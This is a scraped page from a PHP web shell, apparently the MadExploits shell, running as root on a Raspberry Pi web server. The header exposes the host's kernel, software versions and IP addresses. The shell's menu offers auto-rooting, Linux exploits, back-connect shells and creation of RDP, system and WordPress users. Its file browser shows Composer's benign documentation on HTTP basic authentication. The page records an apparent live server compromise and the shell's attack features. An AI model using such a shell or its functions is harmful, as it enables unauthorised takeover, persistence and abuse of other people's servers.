Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
composer /
articles /
[ HOME SHELL ]
Name
Size
Permission
Action
aliases.md
3.79
KB
-rw-r--r--
autoloader-optimization.md.gz
1.71
KB
-rw-r--r--
custom-installers.md.gz
2.37
KB
-rw-r--r--
handling-private-packages-with...
4.49
KB
-rw-r--r--
http-basic-authentication.md
1.83
KB
-rw-r--r--
plugins.md.gz
2.93
KB
-rw-r--r--
scripts.md.gz
3.23
KB
-rw-r--r--
troubleshooting.md.gz
5.22
KB
-rw-r--r--
vendor-binaries.md
3.32
KB
-rw-r--r--
versions.md.gz
4.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : http-basic-authentication.md
<!-- tagline: Access privately hosted packages --> # HTTP basic authentication Your [Satis or Toran Proxy](handling-private-packages-with-satis.md) server could be secured with http basic authentication. In order to allow your project to have access to these packages you will have to tell composer how to authenticate with your credentials. The simplest way to provide your credentials is providing your set of credentials inline with the repository specification such as: ```json { "repositories": [ { "type": "composer", "url": "https://extremely:secret@repo.example.org" } ] } ``` This will basically teach composer how to authenticate automatically when reading packages from the provided composer repository. This does not work for everybody especially when you don't want to hard code your credentials into your composer.json. There is a second way to provide these details and it is via interaction. If you don't provide the authentication credentials composer will prompt you upon connection to enter the username and password. The third way if you want to pre-configure it is via an `auth.json` file located in your `COMPOSER_HOME` or besides your `composer.json`. The file should contain a set of hostnames followed each with their own username/password pairs, for example: ```json { "http-basic": { "repo.example1.org": { "username": "my-username1", "password": "my-secret-password1" }, "repo.example2.org": { "username": "my-username2", "password": "my-secret-password2" } } } ``` The main advantage of the auth.json file is that it can be gitignored so that every developer in your team can place their own credentials in there, which makes revocation of credentials much easier than if you all share the same.
Close